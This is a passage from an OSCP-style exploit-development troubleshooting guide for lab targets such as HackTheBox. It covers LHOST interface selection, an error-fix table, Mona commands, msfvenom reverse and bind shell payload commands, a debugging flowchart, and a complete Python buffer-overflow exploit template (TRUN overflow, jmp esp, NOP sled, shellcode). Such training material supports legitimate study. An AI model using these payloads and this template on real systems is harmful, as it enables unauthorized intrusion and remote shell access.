arp -a | grep <TARGET_IP>
5.4 Multiple Network Interfaces Confusion
Symptoms
- Multiple IPs on your Kali machine
- Unclear which one the target can reach
- Shellcode uses wrong LHOST
Step-by-Step Fix
# List all interfaces with IPs
ip a
# Typical HTB setup:
# eth0: 192.168.x.x (NAT, for internet)
# tun0: 10.10.x.x (HTB VPN, for targets)
# Use tun0 IP for LHOST
# Verify:
ping -I tun0 <TARGET_IP>
Interface Selection Table
| Scenario | Use This Interface | LHOST Example |
|---|---|---|
| HTB VPN target | tun0 |
10.10.14.3 |
| Local VM (NAT) | virbr0 or vnet0 |
192.168.122.1 |
| Local VM (Bridge) | eth0 |
192.168.1.100 |
| TryHackMe | tun0 |
10.10.xx.xx |
6. Quick-Reference Cheat Sheet
Error → Fix Mapping
| Error Message | Most Likely Cause | First Fix to Try |
|---|---|---|
TypeError: can't concat bytes to str |
Python 3 str/bytes mix | Add b"" to all literals |
UnicodeDecodeError |
Shellcode as UTF-8 | Use latin-1 encoding |
ConnectionRefusedError |
Port closed / service down | nmap to verify port |
ConnectionResetError |
Target crashed | Normal if testing crash buffer |
socket.timeout |
Target unreachable / wrong LHOST | Check ip a for correct IP |
EIP not 0x41414141 |
Wrong offset | pattern_offset.rb |
| Access Violation at shellcode | DEP protection | !mona nodep |
| Shellcode corrupted in memory | Bad characters | !mona compare |
| No shell, everything seems fine | Wrong LHOST | ip a show tun0 |
| Module address changed | ASLR | !mona noaslr |
| SEH handler rejected | SafeSEH | !mona nosafeseh |
| Works in debugger, not live | Timing difference | Add time.sleep() |
Mona Commands Quick Reference
| Command | Purpose |
|---|---|
!mona modules |
List all loaded modules with protections |
!mona noaslr |
Find modules without ASLR |
!mona nodep |
Find modules without DEP |
!mona nosafeseh |
Find modules without SafeSEH |
!mona find -s "\xff\xe4" -m <module> |
Find jmp esp in module |
!mona find -s "\x5[0-9a-f]\x5[0-9a-f]\xc3" -m <module> |
Find pop/pop/ret |
!mona compare -f <file> -a <addr> |
Compare file to memory (bad chars) |
!mona config -set working <dir> |
Set working directory |
!mona seh |
Analyze SEH chain |
!mona gs |
Check /GS protection |
msfvenom Quick Reference
# Basic reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f python -v sc
# With bad char exclusion
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> \
-b "\x00\x0a\x0d" -f python -v sc
# With encoder
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> \
-b "\x00" -e x86/shikata_ga_nai -f python -v sc
# Bind shell (if reverse blocked)
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f python -v sc
# Small payload
msfvenom -p windows/exec CMD="cmd.exe" -b "\x00" -f python -v sc
7. Systematic Debugging Workflow
When an exploit fails, follow this workflow:
flowchart TD
A[Exploit Fails] --> B{Python error?}
B -->|Yes| C[Fix Python error]
C --> D[Re-run]
B -->|No| E{Target reachable?}
E -->|No| F[Fix network/connectivity]
F --> D
E -->|Yes| G{Target crashes?}
G -->|No| H[Increase buffer size]
H --> D
G -->|Yes| I{EIP controlled?}
I -->|No| J[Fix offset with pattern_offset]
J --> D
I -->|Yes| K{Jump address valid?}
K -->|No| L[Find new address - check ASLR]
L --> D
K -->|Yes| M{Shellcode intact?}
M -->|No| N[Remove bad chars]
N --> D
M -->|Yes| O{DEP blocking?}
O -->|Yes| P[Use non-DEP module / ROP]
P --> D
O -->|No| Q{Shell returns?}
Q -->|No| R[Check LHOST / firewall / port]
R --> D
Q -->|Yes| S[SUCCESS!]
The 10-Question Checklist
Before declaring an exploit broken, ask:
- Does the Python script run without errors?
- Can I
nmapthe target port and see it open? - Did I use the correct LHOST (tun0 IP)?
- Is my handler (
ncormulti/handler) listening BEFORE sending the exploit? - Did I verify the offset with
pattern_offset.rb? - Does EIP contain
0x42424242in the verification test? - Is my jump address from a non-ASLR module?
- Did I check for bad characters with
!mona compare? - Is DEP blocking execution? (
!mona nodep) - Did I test without the debugger attached?
Appendix: Common Exploit Template (Error-Resistant)
#!/usr/bin/env python3
"""
Error-Resistant Exploit Template
Includes comprehensive error handling for all common issues.
"""
import socket
import struct
import time
import sys
import logging
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='[%(levelname)s] %(message)s'
)
log = logging.getLogger(__name__)
# === CONFIGURATION ===
TARGET = "10.10.10.10"
PORT = 9999
LHOST = "10.10.14.3" # Your tun0 IP
LPORT = 4444
# === SHELLCODE ===
# Generated with: msfvenom -p windows/shell_reverse_tcp LHOST=LHOST LPORT=LPORT -b "\x00\x0a\x0d" -f python -v sc
sc = b"" # Your shellcode here
# === PAYLOAD CONSTRUCTION ===
def build_payload():
"""Build the exploit payload with all components as bytes."""
# Verify shellcode has no bad characters
bad_chars = [b"\x00", b"\x0a", b"\x0d"]
for bc in bad_chars:
if bc in sc:
log.warning(f"Bad character {bc.hex()} found in shellcode!")
# Components (all bytes)
prefix = b"TRUN /0 "
offset = 1024 # Verified with pattern_offset.rb
padding = b"A" * offset
# EIP override - address from non-ASLR module
jmp_esp = struct.pack("<L", 0x02bfa36d)
# NOP sled
nopsled = b"\x90" * 32
# Build payload
buffer = prefix + padding + jmp_esp + nopsled + sc
# Final verification
assert isinstance(buffer, bytes), "Buffer must be bytes!"
log.info(f"Payload size: {len(buffer)} bytes")
return buffer
def exploit():
"""Main exploit function with error handling."""
buffer = build_payload()
s = None
try:
# Create socket with timeout
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
# Connect
log.info(f"Connecting to {TARGET}:{PORT}")
s.connect((TARGET, PORT))
log.info("Connected successfully")
# Send payload
log.info("Sending payload...")
s.send(buffer)
log.info("Payload sent")
# Brief pause
time.sleep(1)
log.info("Exploit complete. Check your handler.")
except ConnectionRefusedError:
log.error(f"Connection refused - is {TARGET}:{PORT} open?")
log.error("Run: nmap -p {PORT} {TARGET}")
sys.exit(1)
except ConnectionResetError:
log.warning("Connection reset - target likely crashed")
log.info("This may be expected behavior")
except socket.timeout:
log.error("Timeout - target not responding")
log.error("Check: correct IP, port open, network reachable")
sys.exit(1)
except Exception as e:
log.error(f"Unexpected error: {e}")
sys.exit(1)
finally:
if s:
s.close()
if __name__ == "__main__":
log.info(f"Target: {TARGET}:{PORT}")
log.info(f"LHOST: {LHOST}, LPORT: {LPORT}")
exploit()
Final Note: Every error you encounter teaches you something about how the target works. Keep a log of errors and fixes for each machine. This knowledge compounds and makes each subsequent exploit faster and more reliable. The students who pass OSCP aren’t the ones who never encounter errors – they’re the ones who know exactly how to fix them.